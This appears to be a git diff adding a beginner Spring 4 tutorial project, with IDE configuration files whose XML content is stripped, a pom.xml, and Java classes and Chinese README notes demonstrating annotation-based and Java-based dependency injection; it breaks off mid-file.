+++ b/springBoot/.idea/libraries/Maven__javax_annotation_jsr250_api_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__junit_junit_4_12.xml b/springBoot/.idea/libraries/Maven__junit_junit_4_12.xml
new file mode 100644
index 0000000..d411041
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__junit_junit_4_12.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_aspectj_aspectjrt_1_8_9.xml b/springBoot/.idea/libraries/Maven__org_aspectj_aspectjrt_1_8_9.xml
new file mode 100644
index 0000000..112f7ca
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_aspectj_aspectjrt_1_8_9.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_8_9.xml b/springBoot/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_8_9.xml
new file mode 100644
index 0000000..687b798
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_aspectj_aspectjweaver_1_8_9.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml b/springBoot/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml
new file mode 100644
index 0000000..f58bbc1
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..7ef1712
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_aop_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..ca546e9
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_beans_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..2963b01
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_context_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..42a85bb
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_core_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..2b109cd
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_expression_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/libraries/Maven__org_springframework_spring_test_4_2_3_RELEASE.xml b/springBoot/.idea/libraries/Maven__org_springframework_spring_test_4_2_3_RELEASE.xml
new file mode 100644
index 0000000..289cf27
--- /dev/null
+++ b/springBoot/.idea/libraries/Maven__org_springframework_spring_test_4_2_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/misc.xml b/springBoot/.idea/misc.xml
new file mode 100644
index 0000000..122597a
--- /dev/null
+++ b/springBoot/.idea/misc.xml
@@ -0,0 +1,26 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/modules.xml b/springBoot/.idea/modules.xml
new file mode 100644
index 0000000..4154544
--- /dev/null
+++ b/springBoot/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/uiDesigner.xml b/springBoot/.idea/uiDesigner.xml
new file mode 100644
index 0000000..e96534f
--- /dev/null
+++ b/springBoot/.idea/uiDesigner.xml
@@ -0,0 +1,124 @@
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+ -
+
+
+
+
+ -
+
+
+ -
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/vcs.xml b/springBoot/.idea/vcs.xml
new file mode 100644
index 0000000..6c0b863
--- /dev/null
+++ b/springBoot/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/.idea/workspace.xml b/springBoot/.idea/workspace.xml
new file mode 100644
index 0000000..26df047
--- /dev/null
+++ b/springBoot/.idea/workspace.xml
@@ -0,0 +1,1338 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+ DEFINITION_ORDER
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ project
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1478657069801
+
+
+ 1478657069801
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Spring
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+ Spring|springBoot
+
+
+
+
+
+
+
+
+
+
+
+ 1.7
+
+
+
+
+
+
+
+
+
+
+
+ Maven: aopalliance:aopalliance:1.0
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/README.md b/springBoot/README.md
new file mode 100644
index 0000000..5f28270
--- /dev/null
+++ b/springBoot/README.md
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/springBoot/pom.xml b/springBoot/pom.xml
new file mode 100644
index 0000000..7a13530
--- /dev/null
+++ b/springBoot/pom.xml
@@ -0,0 +1,94 @@
+
+
+ 4.0.0
+
+ com.wisely
+ highlight_spring4
+ 1.0-SNAPSHOT
+
+
+
+ 1.7
+
+
+
+
+ org.springframework
+ spring-context
+ 4.2.3.RELEASE
+
+
+
+
+ org.springframework
+ spring-aop
+ 4.2.3.RELEASE
+
+
+
+ org.aspectj
+ aspectjrt
+ 1.8.9
+
+
+ org.aspectj
+ aspectjweaver
+ 1.8.9
+
+
+
+
+ commons-io
+ commons-io
+ 2.4
+
+
+
+
+ javax.annotation
+ jsr250-api
+ 1.0
+
+
+
+
+ org.springframework
+ spring-test
+ 4.2.3.RELEASE
+
+
+ junit
+ junit
+ 4.12
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 2.3.2
+
+ ${java.version}
+ ${java.version}
+
+
+
+
+
+
+ src/main/java
+
+ **/*.*
+
+
+ **/*.java
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/springBoot.iml b/springBoot/springBoot.iml
new file mode 100644
index 0000000..e73c44a
--- /dev/null
+++ b/springBoot/springBoot.iml
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p2_4_2Profile/ProfileConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p2_1_1Scope/ScopeConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p1_3_1/DiConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p3/p1_SpringAware/AwareConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p2_2_2SpringEL/ElConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p1_3_2/JavaConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p2_5_2ApplicationEvent/EventConfig.java
+ file://$MODULE_DIR$/src/main/java/cn/hncu/p1_3_3_aop/AopConfig.java
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_1/DiConfig.java b/springBoot/src/main/java/cn/hncu/p1_3_1/DiConfig.java
new file mode 100644
index 0000000..f1e9507
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_1/DiConfig.java
@@ -0,0 +1,17 @@
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:08.
+ */
+@Configuration
+//@Configuration声明当前类是配置类。
+@ComponentScan("cn.hncu.p1_3_1")
+//使用@ComponentScan,自动扫描包名下所有使用@Service,@Component,@Repository和@Controller的类,并注册为Bean
+public class DiConfig {
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_1/FunctionService.java b/springBoot/src/main/java/cn/hncu/p1_3_1/FunctionService.java
new file mode 100644
index 0000000..d521a19
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_1/FunctionService.java
@@ -0,0 +1,19 @@
+package cn.hncu.p1_3_1;
+
+import org.springframework.stereotype.Component;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:03.
+ */
+@Service
+//使用@Service注解声明当前FunctionService类是Spring管理的一个Bean。其中,使用@Component,@Service,@Repository和
+//@Controller是等效的。
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word +" !";
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_1/Main.java b/springBoot/src/main/java/cn/hncu/p1_3_1/Main.java
new file mode 100644
index 0000000..a4df4f3
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_1/Main.java
@@ -0,0 +1,20 @@
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:09.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DiConfig.class);
+ //使用AnnotationConfigApplicationContext作为Spring容器,接受输入一个配置类作为参数
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ //获得声明配置的UseFunctionService的Bean
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+}
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_1/README.md b/springBoot/src/main/java/cn/hncu/p1_3_1/README.md
new file mode 100644
index 0000000..c40fe1c
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_1/README.md
@@ -0,0 +1,149 @@
+
+Spring框架本身有四大原则:
+1、使用POJO进行轻量级和最小侵入式开发
+2、通过依赖注入和基于接口编程实现松耦合
+3、通过AOP和默认习惯进行声明式编程
+4、使用AOP和模板减少模式化代码
+
+在Spring环境中,控制翻转(IoC)-Inversion of Control和依赖注入(DI)-dependency injection是等同的概念。
+
+控制翻转是通过依赖注入实现的。所谓依赖注入指的是容器负责创建对象和维护对象间的依赖关系,而不是通过对象本身负责自己的创建和解决自己的依赖。
+
+依赖注入的主要目的是为了解耦,体现了一种"组合"的理念。
+
+可以这样理解,当我们希望某个类具备某项功能时,可以选择继承一个具有此功能的类,也可以选择组合另外一个具有此功能的类。那么显然,我们选择组合。因为组合另外一个类会使得耦合度大大降低。
+
+组合:组合关系就是整体与部分的关系,部分属于整体,整体不存在,部分一定不存在,然而部分不存在整体是可以存在的,说的更明确一些就是部分必须创生于整体创生之后,而销毁于整体销毁之前。部分在这个生命期内可以被其它对象关联甚至聚合,但有一点必须注意,一旦部分所属于的整体销毁了,那么与之关联的对象中的引用就会成为空引用,这一点可以利用程序来保障。
+
+
+Spring IoC容器(ApplicationContext)负责创建Bean,并通过容器将功能类Bean注入到你需要的Bean中。
+Spring提供使用xml,注解,Java配置,groovy配置实现Bean的创建和注入。
+这些配置方式,都被称为配置元数据。
+元数据:即描述数据的数据。元数据本身不具备任何可执行的能力,只能通过外界代码来对这些元数据行解析后进行一些有意义操作。
+Spring容器解析这些配置元数据进行Bean初始化、配置和管理依赖。
+
+声明Bean的注解
+ @Component组件,没有明确的角色。
+ @Service在业务逻辑层(service层)使用。
+ @Repository在数据访问层(dao层)使用。
+ @Controller在展现层(MVC)
+
+注入Bean的注解,一般情况下通用
+ @Autowired:Spring提供的注解。
+ @Inject:JSR-330提供的注解。
+ @Resource:JSR-250提供的注解。
+@Autowired,@Inject,@Resource都可注解在set方法上或者属性上。
+
+演示实例:
+演示基于注解的Bean的初始化和依赖注入。
+
+首先需要先安装好Maven,搭建好Spring,
+我在这篇博客中有介绍:
+http://blog.csdn.net/qq_26525215/article/details/53010442
+
+编写功能类Bean:
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.stereotype.Component;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:03.
+ */
+@Service
+//使用@Service注解声明当前FunctionService类是Spring管理的一个Bean。其中,使用@Component,@Service,@Repository和
+//@Controller是等效的。
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word +" !";
+ }
+}
+```
+
+
+使用功能类Bean:
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import javax.annotation.Resource;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:04.
+ */
+@Service
+//使用@Service注解声明当前UseFunctionService类是Spring管理的一个Bean
+public class UseFunctionService {
+ @Autowired
+ //使用@Autowired将FunctionService的尸体Bean注入到UseFunctionService中,
+ //让UseFunctionService具备FunctionService的功能,此处使用@Inject或者@Resource注解是等效的。
+ FunctionService functionService;
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
+
+```
+
+
+配置类:
+
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:08.
+ */
+@Configuration
+//@Configuration声明当前类是配置类。
+@ComponentScan("cn.hncu.p1_3_1")
+//使用@ComponentScan,自动扫描包名下所有使用@Service,@Component,@Repository和@Controller的类,并注册为Bean
+public class DiConfig {
+}
+
+```
+
+运行:
+
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:09.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DiConfig.class);
+ //使用AnnotationConfigApplicationContext作为Spring容器,接受输入一个配置类作为参数
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ //获得声明配置的UseFunctionService的Bean
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+}
+}
+
+```
+
+输出结果:
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_1/UseFunctionService.java b/springBoot/src/main/java/cn/hncu/p1_3_1/UseFunctionService.java
new file mode 100644
index 0000000..e66cdc8
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_1/UseFunctionService.java
@@ -0,0 +1,24 @@
+package cn.hncu.p1_3_1;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import javax.annotation.Resource;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:04.
+ */
+@Service
+//使用@Service注解声明当前UseFunctionService类是Spring管理的一个Bean
+public class UseFunctionService {
+ @Autowired
+ //使用@Autowired将FunctionService的尸体Bean注入到UseFunctionService中,
+ //让UseFunctionService具备FunctionService的功能,此处使用@Inject或者@Resource注解是等效的。
+ FunctionService functionService;
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_2/FunctionService.java b/springBoot/src/main/java/cn/hncu/p1_3_2/FunctionService.java
new file mode 100644
index 0000000..28ef008
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_2/FunctionService.java
@@ -0,0 +1,15 @@
+package cn.hncu.p1_3_2;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 10:43.
+ */
+
+//注意! 此处没有使用@Service
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word + " !";
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_2/JavaConfig.java b/springBoot/src/main/java/cn/hncu/p1_3_2/JavaConfig.java
new file mode 100644
index 0000000..e258242
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_2/JavaConfig.java
@@ -0,0 +1,40 @@
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:17.
+ */
+@Configuration
+//使用@Configuration注解表明当前类是一个配置类,这意味着这个类里可能有0个或者多个@Bean注解、
+//此处没有使用包扫描,是因为所有的Bean都在此类中定义了
+public class JavaConfig {
+ @Bean
+ //使用@Bean注解声明当前方法FunctionService的返回值是一个Bean,Bean的名称是方法名
+ public FunctionService functionService(){
+ return new FunctionService();
+ }
+
+ /*
+ @Bean
+ public UseFunctionService useFunctionService(){
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService());
+ //注入FunctionService的Bean时候直接调用functionService()
+ return useFunctionService;
+ }
+ */
+
+ @Bean
+ public UseFunctionService useFunctionService(FunctionService functionService){
+ //另外一种注入的方式,直接将FunctionService作为作为参数给useFunctionService(),这也是Spring容器提供的极好的功能。
+ //在Spring容器中,只要容器中存在某个Bean,就可以在另外一个Bean的声明方法的参数中直接写入
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService);
+ return useFunctionService;
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_2/Main.java b/springBoot/src/main/java/cn/hncu/p1_3_2/Main.java
new file mode 100644
index 0000000..bce8b72
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_2/Main.java
@@ -0,0 +1,18 @@
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:36.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(JavaConfig.class);
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_2/README.md b/springBoot/src/main/java/cn/hncu/p1_3_2/README.md
new file mode 100644
index 0000000..fa08f67
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_2/README.md
@@ -0,0 +1,142 @@
+#分析
+
+Java配置是Spring4.x推荐的配置方式,可以完全替代xml配置;
+Java配置也是Spring Boot推荐的配置方式。
+
+Java配置不需要@Service声明Bean。
+也不需要@Autowired注入Bean。
+只需要通过@Configuration和@Bean来实现。
+
+```
+@configuration声明当前类是一个配置类,相当于一个Spring配置的xml文件.
+@Bean注解在方法上,声明当前方法的返回值为一个Bean.
+```
+
+本篇只是演示最简单的Java配置,本【Spring】系列博客会一直更新。
+要一直学下去的,可以关注我博客。
+
+对于类的说明,我一般是写在代码注释中。
+
+#示例:
+
+##编写功能类的Bean
+```
+package cn.hncu.p1_3_2;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 10:43.
+ */
+
+//注意! 此处没有使用@Service
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word + " !";
+ }
+}
+```
+
+
+##使用功能类的Bean
+
+```
+package cn.hncu.p1_3_2;
+
+import cn.hncu.p1_3_1.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:10.
+ */
+//注意!此处没有使用@Service声明Bean
+public class UseFunctionService {
+ FunctionService functionService;
+ //此处没有使用@Autowired注解注入Bean
+ public void setFunctionService(FunctionService functionService){
+ this.functionService = functionService;
+ }
+
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:17.
+ */
+@Configuration
+//使用@Configuration注解表明当前类是一个配置类,这意味着这个类里可能有0个或者多个@Bean注解、
+//此处没有使用包扫描,是因为所有的Bean都在此类中定义了
+public class JavaConfig {
+ @Bean
+ //使用@Bean注解声明当前方法FunctionService的返回值是一个Bean,Bean的名称是方法名
+ public FunctionService functionService(){
+ return new FunctionService();
+ }
+
+ /*
+ @Bean
+ public UseFunctionService useFunctionService(){
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService());
+ //注入FunctionService的Bean时候直接调用functionService()
+ return useFunctionService;
+ }
+ */
+
+ @Bean
+ public UseFunctionService useFunctionService(FunctionService functionService){
+ //另外一种注入的方式,直接将FunctionService作为作为参数给useFunctionService(),这也是Spring容器提供的极好的功能。
+ //在Spring容器中,只要容器中存在某个Bean,就可以在另外一个Bean的声明方法的参数中直接写入
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService);
+ return useFunctionService;
+ }
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:36.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(JavaConfig.class);
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+ }
+}
+
+```
+
+##运行结果
+
+
\ No newline at end of file
diff --git a/springBoot/src/main/java/cn/hncu/p1_3_2/UseFunctionService.java b/springBoot/src/main/java/cn/hncu/p1_3_2/UseFunctionService.java
new file mode 100644
index 0000000..81768c5
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p1_3_2/UseFunctionService.java
@@ -0,0 +1,22 @@
+package cn.hncu.p1_3_2;
+
+import cn.hncu.p1_3_1.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
